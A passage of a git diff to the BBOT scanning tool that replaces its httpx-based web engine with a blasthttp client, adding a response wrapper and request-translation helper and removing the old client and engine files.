modules_overrides = ["httpx", "robots"] + modules_overrides = ["http", "robots"] config_overrides = {"modules": {"robots": {"include_sitemap": True}}} async def setup_after_prep(self, module_test): diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 4e386b5740..c010148036 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -101,8 +101,8 @@ class BaseEvent: "parent": "OPEN_TCP_PORT:cf7e6a937b161217eaed99f0c566eae045d094c7", "tags": ["in-scope", "distance-0", "dir", "status-301"], "http_title": "301 Moved Permanently", - "module": "httpx", - "module_sequence": "httpx" + "module": "http", + "module_sequence": "http" } ``` """ diff --git a/bbot/core/helpers/command.py b/bbot/core/helpers/command.py index 7da96bbd38..173e100698 100644 --- a/bbot/core/helpers/command.py +++ b/bbot/core/helpers/command.py @@ -1,6 +1,7 @@ import os import asyncio import logging +import contextlib import traceback from signal import SIGINT from subprocess import CompletedProcess, CalledProcessError, SubprocessError @@ -157,7 +158,18 @@ async def run_live(self, *command, check=False, text=True, idle_timeout=None, ** command_str = " ".join(command) log.warning(f"Stderr for run_live({command_str}):\n\t{stderr}") finally: - proc_tracker.remove(proc) + proc_tracker.discard(proc) + # Kill the subprocess if it's still running (e.g. generator was cancelled/closed) + if proc.returncode is None: + with contextlib.suppress(Exception): + proc.terminate() + try: + await asyncio.wait_for(proc.wait(), timeout=5) + except (asyncio.TimeoutError, Exception): + with contextlib.suppress(Exception): + proc.kill() + if input_task is not None: + input_task.cancel() async def _spawn_proc(self, *command, **kwargs): @@ -270,7 +282,7 @@ def _prepare_command_kwargs(self, command, kwargs): >>> _prepare_command_kwargs(['ls', '-l'], {'sudo': True}) (['sudo', '-E', '-A', 'LD_LIBRARY_PATH=...', 'PATH=...', 'ls', '-l'], {'limit': 104857600, 'stdout': -1, 'stderr': -1, 'env': environ(...)}) """ - # limit = 100MB (this is needed for cases like httpx that are sending large JSON blobs over stdout) + # limit = 100MB (this is needed for cases that are sending large JSON blobs over stdout) if "limit" not in kwargs: kwargs["limit"] = 1024 * 1024 * 100 if "stdout" not in kwargs: diff --git a/bbot/core/helpers/diff.py b/bbot/core/helpers/diff.py index 64c1b1e6a5..d4e9c5172b 100644 --- a/bbot/core/helpers/diff.py +++ b/bbot/core/helpers/diff.py @@ -148,7 +148,7 @@ def compare_headers(self, headers_1, headers_2): for x in list(ddiff[k]): try: header_value = str(x).split("'")[1] - except KeyError: + except (KeyError, IndexError): continue differing_headers.append(header_value) return differing_headers diff --git a/bbot/core/helpers/helper.py b/bbot/core/helpers/helper.py index d86b3ada02..25dd250210 100644 --- a/bbot/core/helpers/helper.py +++ b/bbot/core/helpers/helper.py @@ -86,12 +86,14 @@ def __init__(self, preset): self.process_pool = ProcessPoolExecutor(max_workers=num_processes) self._cloud = None + self._blasthttp_client = None self.re = RegexHelper(self) self.yara = YaraHelper(self) self.simhash = SimHashHelper() self._dns = None self._web = None + self._asn = None self._cloudcheck = None self._asn = None self.config_aware_validators = self.validators.Validators(self) @@ -117,6 +119,17 @@ def asn(self): self._asn = ASNHelper(self) return self._asn + @property + def blasthttp(self): + if self._blasthttp_client is None: + import blasthttp as _blasthttp + + self._blasthttp_client = _blasthttp.BlastHTTP() + rate_limit = self.web_config.get("http_rate_limit", 0) + if rate_limit: + self._blasthttp_client.set_rate_limit(rate_limit) + return self._blasthttp_client + @property def cloudcheck(self): if self._cloudcheck is None: diff --git a/bbot/core/helpers/misc.py b/bbot/core/helpers/misc.py index 6c5211762c..d27baf3905 100644 --- a/bbot/core/helpers/misc.py +++ b/bbot/core/helpers/misc.py @@ -1661,7 +1661,7 @@ def rm_rf(f, ignore_errors=False): f (str or Path): The directory path to delete. Examples: - >>> rm_rf("/tmp/httpx98323849") + >>> rm_rf("/tmp/bbot98323849") """ import shutil diff --git a/bbot/core/helpers/names_generator.py b/bbot/core/helpers/names_generator.py index cc45b19cf6..586fefa89b 100644 --- a/bbot/core/helpers/names_generator.py +++ b/bbot/core/helpers/names_generator.py @@ -25,6 +25,7 @@ "blazed", "bloodshot", "brown", + "cantankerous", "cheeky", "childish", "chiseled", @@ -52,6 +53,7 @@ "demented", "demonic", "demonstrative", + "derpy", "depraved", "depressed", "deranged", @@ -103,6 +105,7 @@ "glutinous", "golden", "gothic", + "greasy", "grievous", "gummy", "hallucinogenic", @@ -137,11 +140,14 @@ "intoxicated", "inventive", "irritable", + "janky", + "lackadaisical", "large", "liquid", "loveable", "lovely", "lucid", + "lumpy", "malevolent", "malfunctioning", "malicious", @@ -221,6 +227,7 @@ "sinful", "sinister", "slippery", + "sloppy", "sly", "sneaky", "soft", @@ -311,6 +318,7 @@ "amir", "amy", "andrea", + "andres", "andrew", "angela", "ann", @@ -344,6 +352,7 @@ "bradley", "brandon", "brandybuck", + "brendan", "brenda", "brian", "brianna", @@ -399,6 +408,7 @@ "diana", "diane", "dobby", + "dominic", "donald", "donna", "dooku", diff --git a/bbot/core/helpers/web/blast_response.py b/bbot/core/helpers/web/blast_response.py new file mode 100644 index 0000000000..8deaca7a30 --- /dev/null +++ b/bbot/core/helpers/web/blast_response.py @@ -0,0 +1,173 @@ +""" +Response wrapper that makes blasthttp responses into a standard interface. + +This allows BBOT modules to use blasthttp transparently — they see the same +.status_code, .text, .content, .headers, .json(), .raise_for_status() interface +that BBOT modules expect. + +The wrapper stores only plain Python types so it pickles cleanly through the +ZMQ IPC layer. +""" + +import json as _json +from collections.abc import MutableMapping as _MutableMapping +from datetime import timedelta as _timedelta + + +class CaseInsensitiveHeaders(_MutableMapping): + """ + Case-insensitive dict-like object for HTTP headers. + + Modules access headers case-insensitively, they do things like + response.headers.get("Content-Type") or response.headers["content-type"]. + This replicates that behavior using a simple list of (name, value) tuples + as the backing store (preserving duplicates like Set-Cookie). + + Supports mutation (del, __setitem__) for compatibility with HttpCompare. + """ + + __slots__ = ("_list", "_lower_dict") + + def __init__(self, header_tuples): + self._list = list(header_tuples) + self._rebuild_dict() + + def _rebuild_dict(self): + # Last value wins for dict-style access + self._lower_dict = {} + for k, v in self._list: + self._lower_dict[k.lower()] = v + + def get(self, key, default=None): + return self._lower_dict.get(key.lower(), default) + + def items(self): + return iter(self._list) + + def keys(self): + return self._lower_dict.keys() + + def values(self): + return self._lower_dict.values() + + def __getitem__(self, key): + try: + return self._lower_dict[key.lower()] + except KeyError: + raise KeyError(key) + + def __setitem__(self, key, value): + # Remove any existing entries with this key (case-insensitive) + lower_key = key.lower() + self._list = [(k, v) for k, v in self._list if k.lower() != lower_key] + self._list.append((key, value)) + self._lower_dict[lower_key] = value + + def __delitem__(self, key): + lower_key = key.lower() + if lower_key not in self._lower_dict: + raise KeyError(key) + self._list = [(k, v) for k, v in self._list if k.lower() != lower_key] + del self._lower_dict[lower_key] + + def __contains__(self, key): + return key.lower() in self._lower_dict + + def __iter__(self): + return iter(self._lower_dict) + + def __len__(self): + return len(self._lower_dict) + + def __eq__(self, other): + if isinstance(other, CaseInsensitiveHeaders): + return self._lower_dict == other._lower_dict + if isinstance(other, dict): + return self._lower_dict == {k.lower(): v for k, v in other.items()} + return NotImplemented + + def __repr__(self): + return f"CaseInsensitiveHeaders({self._list})" + + +class _RequestInfo: + """Minimal stand-in for a response.request object.""" + + __slots__ = ("url", "method") + + def __init__(self, url, method): + self.url = url + self.method = method + + +class BlasthttpResponse: + """ + Wraps data extracted from a blasthttp Response into a standard + interface so BBOT modules work without changes. + + All fields are plain Python types (str, bytes, int, dict) — no references to + blasthttp PyO3 objects — so the object pickles cleanly through ZMQ. + """ + + __slots__ = ( + "status_code", + "url", + "text", + "content", + "headers", + "request", + "is_success", + "elapsed_ms", + "cookies", + ) + + def __init__(self, blast_resp, request_url, method="GET"): + self.status_code = blast_resp.status + self.url = str(blast_resp.url) + self.text = blast_resp.body + self.content = bytes(blast_resp.body_bytes) + self.headers = CaseInsensitiveHeaders(blast_resp.headers) + self.request = _RequestInfo(request_url, method) + self.is_success = 200 <= blast_resp.status < 400 + self.elapsed_ms = blast_resp.elapsed_ms + # Parse Set-Cookie headers into a simple dict (for r.cookies access) + self.cookies = {} + for k, v in blast_resp.headers: + if k.lower() == "set-cookie": + # Extract just the cookie name=value (before any ;) + parts = v.split(";", 1) + if "=" in parts[0]: + cname, cval = parts[0].split("=", 1) + self.cookies[cname.strip()] = cval.strip() + + @property + def elapsed(self): + """Return elapsed time as a timedelta ..""" + return _timedelta(milliseconds=self.elapsed_ms) + + def __bool__(self): + return True + + def json(self, **kwargs): + return _json.loads(self.text, **kwargs) + + def raise_for_status(self): + if self.status_code >= 400: + raise BlasthttpHTTPError( + f"HTTP {self.status_code} for url {self.url}", + response=self, + ) + + def __str__(self): + return self.text + + def __repr__(self): + return f"BlasthttpResponse(status={self.status_code}, url='{self.url}')" + + +class BlasthttpHTTPError(Exception): + """HTTP error raised by BlasthttpResponse.raise_for_status().""" + + def __init__(self, message, response=None): + super().__init__(message) + self.response = response diff --git a/bbot/core/helpers/web/client.py b/bbot/core/helpers/web/client.py deleted file mode 100644 index 8fb0171bb0..0000000000 --- a/bbot/core/helpers/web/client.py +++ /dev/null @@ -1,121 +0,0 @@ -import httpx -import logging -from httpx._models import Cookies - -log = logging.getLogger("bbot.core.helpers.web.client") - - -class DummyCookies(Cookies): - def extract_cookies(self, *args, **kwargs): - pass - - -class BBOTAsyncClient(httpx.AsyncClient): - """ - A subclass of httpx.AsyncClient tailored with BBOT-specific configurations and functionalities. - This class provides rate limiting, logging, configurable timeouts, user-agent customization, custom - headers, and proxy settings. Additionally, it allows the disabling of cookies, making it suitable - for use across an entire scan. - - Attributes: - _bbot_scan (object): BBOT scan object containing configuration details. - _persist_cookies (bool): Flag to determine whether cookies should be persisted across requests. - - Examples: - >>> async with BBOTAsyncClient(_bbot_scan=bbot_scan_object) as client: - >>> response = await client.request("GET", "https://example.com") - >>> print(response.status_code) - 200 - """ - - @classmethod - def from_config(cls, config, target, *args, **kwargs): - kwargs["_config"] = config - kwargs["_target"] = target - web_config = config.get("web", {}) - retries = kwargs.pop("retries", web_config.get("http_retries", 1)) - ssl_verify = web_config.get("ssl_verify", False) - if ssl_verify is False: - from .ssl_context import ssl_context_noverify - - ssl_verify = ssl_context_noverify - kwargs["transport"] = httpx.AsyncHTTPTransport(retries=retries, verify=ssl_verify) - kwargs["verify"] = ssl_verify - return cls(*args, **kwargs) - - def __init__(self, *args, **kwargs): - self._config = kwargs.pop("_config") - self._target = kwargs.pop("_target") - - self._web_config = self._config.get("web", {}) - http_debug = self._web_config.get("debug", None) - if http_debug: - log.trace(f"Creating AsyncClient: {args}, {kwargs}") - - self._persist_cookies = kwargs.pop("persist_cookies", False) - - # timeout - http_timeout = self._web_config.get("http_timeout", 20) - if "timeout" not in kwargs: - kwargs["timeout"] = http_timeout - - # headers - headers = kwargs.get("headers", None) - if headers is None: - headers = {} - - # cookies - cookies = kwargs.get("cookies", None) - if cookies is None: - cookies = {} - - # user agent - user_agent = ( - f"{self._web_config.get('user_agent', 'BBOT')} {self._web_config.get('user_agent_suffix') or ''}".strip() - ) - if "User-Agent" not in headers: - headers["User-Agent"] = user_agent - kwargs["headers"] = headers - kwargs["cookies"] = cookies - # proxy - proxies = self._web_config.get("http_proxy", None) - kwargs["proxy"] = proxies - - log.verbose(f"Creating httpx.AsyncClient({args}, {kwargs})") - super().__init__(*args, **kwargs) - if not self._persist_cookies: - self._cookies = DummyCookies() - - def build_request(self, *args, **kwargs): - if args: - url = args[0] - kwargs["url"] = url - url = kwargs["url"] - - in_target = self._target.in_target(str(url)) - - if in_target: - if not kwargs.get("cookies", None): - kwargs["cookies"] = {} - for ck, cv in self._web_config.get("http_cookies", {}).items(): - if ck not in kwargs["cookies"]: - kwargs["cookies"][ck] = cv - - request = super().build_request(**kwargs) - - if in_target: - for hk, hv in self._web_config.get("http_headers", {}).items(): - hv = str(hv) - # don't clobber headers - if hk not in request.headers: - request.headers[hk] = hv - return request - - def _merge_cookies(self, cookies): - if self._persist_cookies: - return super()._merge_cookies(cookies) - return cookies - - @property - def retries(self): - return self._transport._pool._retries diff --git a/bbot/core/helpers/web/engine.py b/bbot/core/helpers/web/engine.py deleted file mode 100644 index 1c3ecc0f52..0000000000 --- a/bbot/core/helpers/web/engine.py +++ /dev/null @@ -1,240 +0,0 @@ -import ssl -import anyio -import httpx -import asyncio -import logging -import traceback -from socksio.exceptions import SOCKSError -from contextlib import asynccontextmanager - -from bbot.core.engine import EngineServer -from bbot.core.helpers.misc import bytes_to_human, human_to_bytes, get_exception_chain, truncate_string - -log = logging.getLogger("bbot.core.helpers.web.engine") - - -class HTTPEngine(EngineServer): - CMDS = { - 0: "request", - 1: "request_batch", - 2: "request_custom_batch", - 3: "download", - } - - client_only_options = ( - "retries", - "max_redirects", - ) - - def __init__(self, socket_path, target, config={}, debug=False): - super().__init__(socket_path, debug=debug) - self.target = target - self.config = config - self.web_config = self.config.get("web", {}) - self.http_debug = self.web_config.get("debug", False) - self._ssl_context_noverify = None - self.web_clients = {} - self.web_client = self.AsyncClient(persist_cookies=False) - - def AsyncClient(self, *args, **kwargs): - # cache by retries to prevent unwanted accumulation of clients - # (they are not garbage-collected) - retries = kwargs.get("retries", 1) - try: - return self.web_clients[retries] - except KeyError: - from .client import BBOTAsyncClient - - client = BBOTAsyncClient.from_config(self.config, self.target, *args, **kwargs) - self.web_clients[client.retries] = client - return client - - async def request(self, *args, **kwargs): - raise_error = kwargs.pop("raise_error", False) - # TODO: use this - cache_for = kwargs.pop("cache_for", None) # noqa - - client = kwargs.get("client", self.web_client) - - # allow vs follow, httpx why?? - allow_redirects = kwargs.pop("allow_redirects", None) - if allow_redirects is not None and "follow_redirects" not in kwargs: - kwargs["follow_redirects"] = allow_redirects - - # in case of URL only, assume GET request - if len(args) == 1: - kwargs["url"] = args[0] - args = [] - - url = kwargs.get("url", "") - - if not args and "method" not in kwargs: - kwargs["method"] = "GET" - - client_kwargs = {} - for k in list(kwargs): - if k in self.client_only_options: - v = kwargs.pop(k) - client_kwargs[k] = v - - if client_kwargs: - client = self.AsyncClient(**client_kwargs) - - try: - async with self._acatch(url, raise_error): - if self.http_debug: - log.trace(f"Web request: {str(args)}, {str(kwargs)}") - response = await client.request(*args, **kwargs) - if self.http_debug: - log.trace( - f"Web response from {url}: {response} (Length: {len(response.content)}) headers: {response.headers}" - ) - return response - except httpx.HTTPError as e: - if raise_error: - _response = getattr(e, "response", None) - return {"_request_error": str(e), "_response": _response} - - async def request_batch(self, urls, threads=10, **kwargs): - async for (args, _, _), response in self.task_pool( - self.request, args_kwargs=urls, threads=threads, global_kwargs=kwargs - ): - yield args[0], response - - async def request_custom_batch(self, urls_and_kwargs, threads=10, **kwargs): - async for (args, kwargs, tracker), response in self.task_pool( - self.request, args_kwargs=urls_and_kwargs, threads=threads, global_kwargs=kwargs - ): - yield args[0], kwargs, tracker, response - - async def download(self, url, **kwargs): - warn = kwargs.pop("warn", True) - raise_error = kwargs.pop("raise_error", False) - filename = kwargs.pop("filename") - try: - result = await self.stream_request(url, **kwargs) - if result is None: - raise httpx.HTTPError(f"No response from {url}") - content, response = result - log.debug(f"Download result: HTTP {response.status_code}") - response.raise_for_status() - with open(filename, "wb") as f: - f.write(content) - return filename - except httpx.HTTPError as e: - log_fn = log.verbose - if warn: - log_fn = log.warning - log_fn(f"Failed to download {url}: {e}") - if raise_error: - _response = getattr(e, "response", None) - return {"_download_error": str(e), "_response": _response} - - async def stream_request(self, url, **kwargs): - follow_redirects = kwargs.pop("follow_redirects", True) - max_size = kwargs.pop("max_size", None) - raise_error = kwargs.pop("raise_error", False) - if max_size is not None: - max_size = human_to_bytes(max_size) - kwargs["follow_redirects"] = follow_redirects - if "method" not in kwargs: - kwargs["method"] = "GET" - try: - total_size = 0 - chunk_size = 8192 - chunks = [] - - async with self._acatch(url, raise_error=True), self.web_client.stream(url=url, **kwargs) as response: - agen = response.aiter_bytes(chunk_size=chunk_size) - async for chunk in agen: - _chunk_size = len(chunk) - if max_size is not None and total_size + _chunk_size > max_size: - log.verbose( - f"Size of response from {url} exceeds {bytes_to_human(max_size)}, file will be truncated" - ) - await agen.aclose() - break - total_size += _chunk_size - chunks.append(chunk) - return b"".join(chunks), response - except httpx.HTTPError as e: - self.log.debug(f"Error requesting {url}: {e}") - if raise_error: - raise - - def ssl_context_noverify(self): - if self._ssl_context_noverify is None: - ssl_context = ssl.create_default_context() - ssl_context.check_hostname = False - ssl_context.verify_mode = ssl.CERT_NONE - ssl_context.options &= ~ssl.OP_NO_SSLv2 & ~ssl.OP_NO_SSLv3 - ssl_context.set_ciphers("ALL:@SECLEVEL=0") - ssl_context.options |= 0x4 # Add the OP_LEGACY_SERVER_CONNECT option - self._ssl_context_noverify = ssl_context - return self._ssl_context_noverify - - @asynccontextmanager - async def _acatch(self, url, raise_error): - """ - Asynchronous context manager to handle various httpx errors during a request. - - Yields: - None - - Note: - This function is internal and should generally not be used directly. - `url`, `args`, `kwargs`, and `raise_error` should be in the same context as this function. - """ - try: - yield - except httpx.TimeoutException: - if raise_error: - raise - else: - log.verbose(f"HTTP timeout to URL: {url}") - except httpx.ConnectError: - if raise_error: - raise - else: - log.debug(f"HTTP connect failed to URL: {url}") - except httpx.HTTPError as e: - if raise_error: - raise - else: - log.trace(f"Error with request to URL: {url}: {e}") - log.trace(traceback.format_exc()) - except httpx.InvalidURL as e: - if raise_error: - raise - else: - log.warning( - f"Invalid URL (possibly due to dangerous redirect) on request to : {url}: {truncate_string(str(e), 200)}" - ) - log.trace(traceback.format_exc()) - except ssl.SSLError as e: - msg = f"SSL error with request to URL: {url}: {e}" - if raise_error: - raise httpx.RequestError(msg) - else: - log.trace(msg) - log.trace(traceback.format_exc()) - except anyio.EndOfStream as e: - msg = f"AnyIO error with request to URL: {url}: {e}" - if raise_error: - raise httpx.RequestError(msg) - else: - log.trace(msg) - log.trace(traceback.format_exc()) - except SOCKSError as e: - msg = f"SOCKS error with request to URL: {url}: {e}" - if raise_error: - raise httpx.RequestError(msg) - else: - log.trace(msg) - log.trace(traceback.format_exc()) - except BaseException as e: - # don't log if the error is the result of an intentional cancellation - if not any(isinstance(_e, asyncio.exceptions.CancelledError) for _e in get_exception_chain(e)): - log.trace(f"Unhandled exception with request to URL: {url}: {e}") - log.trace(traceback.format_exc()) - raise diff --git a/bbot/core/helpers/web/web.py b/bbot/core/helpers/web/web.py index 9f8b751c65..b1a9d243ae 100644 --- a/bbot/core/helpers/web/web.py +++ b/bbot/core/helpers/web/web.py @@ -1,16 +1,18 @@ +import json +import asyncio import logging +import traceback import warnings from pathlib import Path -from bs4 import BeautifulSoup - -from bbot.core.engine import EngineClient -from bbot.core.helpers.misc import truncate_filename -from bbot.errors import WordlistError, CurlError, WebError +from urllib.parse import urlencode, urlparse, urlunparse, parse_qs +from bs4 import BeautifulSoup from bs4 import MarkupResemblesLocatorWarning from bs4.builder import XMLParsedAsHTMLWarning -from .engine import HTTPEngine +from bbot.core.helpers.misc import truncate_filename, bytes_to_human, get_exception_chain +from bbot.errors import WordlistError, WebError +from .blast_response import BlasthttpResponse, BlasthttpHTTPError warnings.filterwarnings("ignore", category=XMLParsedAsHTMLWarning) warnings.filterwarnings("ignore", category=MarkupResemblesLocatorWarning) @@ -18,21 +20,18 @@ log = logging.getLogger("bbot.core.helpers.web") -class WebHelper(EngineClient): - SERVER_CLASS = HTTPEngine - ERROR_CLASS = WebError - +class WebHelper: """ - Main utility class for managing HTTP operations in BBOT. It serves as a wrapper around the BBOTAsyncClient, - which itself is a subclass of httpx.AsyncClient. The class provides functionalities to make HTTP requests, - download files, and handle cached wordlists. + Main utility class for managing HTTP operations in BBOT. Uses blasthttp (Rust) as the + HTTP engine for all requests, downloads, and wordlist retrieval. + + All requests go through the shared blasthttp client on the parent helper, + which supports global rate limiting via ``web.http_rate_limit``. Attributes: parent_helper (object): The parent helper object containing scan configurations. http_debug (bool): Flag to indicate whether HTTP debugging is enabled. ssl_verify (bool): Flag to indicate whether SSL verification is enabled. - web_client (BBOTAsyncClient): An instance of BBOTAsyncClient for making HTTP requests. - client_only_options (tuple): A tuple of options only applicable to the web client. Examples: Basic web request: @@ -52,24 +51,143 @@ def __init__(self, parent_helper): self.web_config = self.config.get("web", {}) self.web_spider_depth = self.web_config.get("spider_depth", 1) self.web_spider_distance = self.web_config.get("spider_distance", 0) - self.web_clients = {} self.target = self.preset.target - self.ssl_verify = self.config.get("ssl_verify", False) - engine_debug = self.config.get("engine", {}).get("debug", False) - super().__init__(server_kwargs={"config": self.config, "target": self.target}, debug=engine_debug) - - def AsyncClient(self, *args, **kwargs): - # cache by retries to prevent unwanted accumulation of clients - # (they are not garbage-collected) - retries = kwargs.get("retries", 1) - try: - return self.web_clients[retries] - except KeyError: - from .client import BBOTAsyncClient + self.http_debug = self.web_config.get("debug", False) + self.ssl_verify = self.web_config.get("ssl_verify", False) + # Pre-compute config values for request preprocessing + self._http_timeout = self.web_config.get("http_timeout", 20) + self._http_retries = self.web_config.get("http_retries", 1) + self._http_proxy = self.web_config.get("http_proxy", None) + ua = self.web_config.get("user_agent", "BBOT") + ua_suffix = self.web_config.get("user_agent_suffix") or "" + self._user_agent = f"{ua} {ua_suffix}".strip() + self._custom_headers = self.web_config.get("http_headers", {}) + self._custom_cookies = self.web_config.get("http_cookies", {}) + + @property + def client(self): + """The shared rate-limited blasthttp client for target-directed traffic.""" + return self.parent_helper.blasthttp + + def _build_blasthttp_kwargs(self, url, **kwargs): + """ + Translate request kwargs into blasthttp.request() kwargs. + + Handles: method, headers, body/data/json, timeout, follow_redirects, + max_redirects, proxy, retries, params, cookies, auth. - client = BBOTAsyncClient.from_config(self.config, self.target, *args, persist_cookies=False, **kwargs) - self.web_clients[client.retries] = client - return client + Returns (url, method, blast_kwargs) — url may be modified if params were appended. + """ + method = kwargs.pop("method", "GET") + headers = kwargs.pop("headers", None) or {} + body = kwargs.pop("body", None) + data = kwargs.pop("data", None) + json_body = kwargs.pop("json", None) + timeout = kwargs.pop("timeout", self._http_timeout) + follow_redirects = kwargs.pop("follow_redirects", None) + max_redirects = kwargs.pop("max_redirects", None) + proxy = kwargs.pop("proxy", self._http_proxy) + retries = kwargs.pop("retries", self._http_retries) + params = kwargs.pop("params", None) + cookies = kwargs.pop("cookies", None) + auth = kwargs.pop("auth", None) + max_body_size = kwargs.pop("max_body_size", None) + request_target = kwargs.pop("request_target", None) + resolve_ip = kwargs.pop("resolve_ip", None) + ignore_bbot_global_settings = kwargs.pop("ignore_bbot_global_settings", False) + + # -- URL params -- + if params: + parsed = urlparse(url) + existing = parse_qs(parsed.query, keep_blank_values=True) + if isinstance(params, dict): + existing.update(params) + new_query = urlencode(existing, doseq=True) + url = urlunparse(parsed._replace(query=new_query)) + + # -- Headers as list of tuples -- + header_list = [] + + if not ignore_bbot_global_settings: + # User-Agent (can be overridden by caller) + if "User-Agent" not in headers: + header_list.append(("User-Agent", self._user_agent)) + + # Scan-level custom headers (only for in-scope URLs) + if self.target.in_target(url): + for hk, hv in self._custom_headers.items(): + if hk not in headers: + header_list.append((hk, str(hv))) + + # Scan-level custom cookies (merge with caller cookies) + if self._custom_cookies: + if cookies is None: + cookies = {} + for ck, cv in self._custom_cookies.items(): + if ck not in cookies: + cookies[ck] = cv + + # Caller-supplied headers + for hk, hv in headers.items(): + if isinstance(hv, list): + for v in hv: + header_list.append((hk, str(v))) + else: + header_list.append((hk, str(hv))) + + # -- JSON body -- + if json_body is not None: + body = json.dumps(json_body) + # Only set Content-Type if not already provided + if not any(k.lower() == "content-type" for k, _ in header_list): + header_list.append(("Content-Type", "application/json")) + + # -- Form data -- + if data is not None and body is None: + if isinstance(data, dict): + body = urlencode(data) + if not any(k.lower() == "content-type" for k, _ in header_list): + header_list.append(("Content-Type", "application/x-www-form-urlencoded")) + elif isinstance(data, (str, bytes)): + body = str(data) if isinstance(data, bytes) else data + + # -- Cookies -- + if cookies: + cookie_str = "; ".join(f"{ck}={cv}" for ck, cv in cookies.items()) + header_list.append(("Cookie", cookie_str)) + + # -- Basic auth -- + if auth: + import base64 + + user, passwd = auth + cred = base64.b64encode(f"{user}:{passwd}".encode()).decode() + header_list.append(("Authorization", f"Basic {cred}")) + + blast_kwargs = { + "method": method, + "headers": header_list, + "timeout": int(timeout) if timeout else self._http_timeout, + "verify_certs": bool(self.ssl_verify), + "retries": int(retries), + } + + if body is not None: + blast_kwargs["body"] = str(body) + if follow_redirects is not None: + blast_kwargs["follow_redirects"] = follow_redirects + if max_redirects is not None: + blast_kwargs["max_redirects"] = int(max_redirects) + if proxy: + blast_kwargs["proxy"] = proxy + if max_body_size is not None: + blast_kwargs["max_body_size"] = int(max_body_size) + if request_target is not None: + blast_kwargs["request_target"] = request_target + if resolve_ip is not None: + blast_kwargs["resolve_ip"] = resolve_ip + + return url, method, blast_kwargs async def request(self, *args, **kwargs): """ @@ -89,23 +207,21 @@ async def request(self, *args, **kwargs): cookies (dict, optional): Dictionary or CookieJar object containing cookies. json (Any, optional): A JSON serializable Python object to send in the body. data (dict, optional): Dictionary, list of tuples, or bytes to send in the body. - files (dict, optional): Dictionary of 'name': file-like-objects for multipart encoding upload. + body (str, optional): Raw string body to send (not URL-encoded). auth (tuple, optional): Auth tuple to enable Basic/Digest/Custom HTTP auth. timeout (float, optional): The maximum time to wait for the request to complete. proxy (str, optional): HTTP proxy URL. allow_redirects (bool, optional): Enables or disables redirection. Defaults to None. - stream (bool, optional): Enables or disables response streaming. raise_error (bool, optional): Whether to raise exceptions for HTTP connect, timeout errors. Defaults to False. - client (httpx.AsyncClient, optional): A specific httpx.AsyncClient to use for the request. Defaults to self.web_client. - cache_for (int, optional): Time in seconds to cache the request. Not used currently. Defaults to None. + request_target (str, optional): Override the HTTP request-line target. + resolve_ip (str, optional): Connect TCP to this IP instead of DNS resolution. + ignore_bbot_global_settings (bool, optional): Skip User-Agent/header/cookie merging. Raises: - httpx.TimeoutException: If the request times out. - httpx.ConnectError: If the connection fails. - httpx.RequestError: For other request-related errors. + WebError: If raise_error is True and the request fails. Returns: - httpx.Response or None: The HTTP response object returned by the httpx library. + Response or None: The HTTP response object. Examples: >>> response = await self.helpers.request("https://www.evilcorp.com") @@ -115,49 +231,115 @@ async def request(self, *args, **kwargs): Note: If the web request fails, it will return None unless `raise_error` is `True`. """ - raise_error = kwargs.get("raise_error", False) - result = await self.run_and_return("request", *args, **kwargs) - if isinstance(result, dict) and "_request_error" in result: + raise_error = kwargs.pop("raise_error", False) + kwargs.pop("cache_for", None) + kwargs.pop("client", None) + kwargs.pop("stream", None) + if kwargs.pop("files", None) is not None: + log.warning("blasthttp does not support multipart file uploads (files= kwarg)") + + # allow vs follow + allow_redirects = kwargs.pop("allow_redirects", None) + if allow_redirects is not None and "follow_redirects" not in kwargs: + kwargs["follow_redirects"] = allow_redirects + + # In case of URL only as positional arg + if len(args) == 1: + kwargs["url"] = args[0] + args = () + + url = kwargs.pop("url", "") + + if not url: if raise_error: - error_msg = result["_request_error"] - response = result["_response"] - error = self.ERROR_CLASS(error_msg) - error.response = response + error = WebError("No URL provided") raise error - return result + return None + + if "method" not in kwargs: + kwargs["method"] = "GET" + + # Translate kwargs to blasthttp format + url, method, blast_kwargs = self._build_blasthttp_kwargs(url, **kwargs) + + try: + if self.http_debug: + log.trace(f"blasthttp request: {method} {url}") + + # Run in executor — blasthttp blocks the thread (tokio runtime) + blast_response = await self.parent_helper.run_in_executor(self.client.request, url, **blast_kwargs) + + response = BlasthttpResponse(blast_response, request_url=url, method=method) + + if self.http_debug: + log.trace( + f"blasthttp response from {url}: {response.status_code} " + f"(Length: {len(response.content)}) headers: {response.headers}" + ) + return response - async def request_batch(self, urls, *args, **kwargs): + except RuntimeError as e: + error_msg = str(e) + if raise_error: + error = WebError(error_msg) + raise error + # Classify error for appropriate log level + lower = error_msg.lower() + if "timeout" in lower: + log.verbose(f"HTTP timeout to URL: {url}") + elif "connect" in lower or "connection" in lower: + log.debug(f"HTTP connect failed to URL: {url}") + else: + log.trace(f"blasthttp error for {url}: {error_msg}") + except BaseException as e: + if not any(isinstance(_e, asyncio.exceptions.CancelledError) for _e in get_exception_chain(e)): + log.trace(f"Unhandled exception with request to URL: {url}: {e}") + log.trace(traceback.format_exc()) + raise + + async def request_batch(self, urls, threads=10, **kwargs): """ Given a list of URLs, request them in parallel and yield responses as they come in. Args: urls (list[str]): List of URLs to visit - *args: Positional arguments to pass through to httpx - **kwargs: Keyword arguments to pass through to httpx + threads (int): Max concurrent requests. Defaults to 10. + **kwargs: Keyword arguments to pass through to request() Examples: >>> async for url, response in self.helpers.request_batch(urls, headers={"X-Test": "Test"}): >>> if response is not None and response.status_code == 200: >>> self.hugesuccess(response) """ - agen = self.run_and_yield("request_batch", urls, *args, **kwargs) - while 1: - try: - yield await agen.__anext__() - except (StopAsyncIteration, GeneratorExit): - await agen.aclose() - break - - async def request_custom_batch(self, urls_and_kwargs): + tasks = {} + urls = list(urls) + semaphore = asyncio.Semaphore(threads) + + async def _request(url): + async with semaphore: + return url, await self.request(url, **kwargs) + + for url in urls: + task = asyncio.create_task(_request(url)) + tasks[task] = True + + while tasks: + finished, _ = await asyncio.wait(tasks, return_when=asyncio.FIRST_COMPLETED) + for task in finished: + del tasks[task] + url, response = task.result() + yield url, response + + async def request_custom_batch(self, urls_and_kwargs, threads=10): """ Make web requests in parallel with custom options for each request. Yield responses as they come in. - Similar to `request_batch` except it allows individual arguments for each URL. + Similar to ``request_batch`` except it allows individual arguments for each URL. Args: urls_and_kwargs (list[tuple]): List of tuples in the format: (url, kwargs, custom_tracker) - where custom_tracker is an optional value for your own internal use. You may use it to - help correlate requests, etc. + where custom_tracker is an optional value for your own internal use. + threads (int): Max concurrent requests. Defaults to 10. 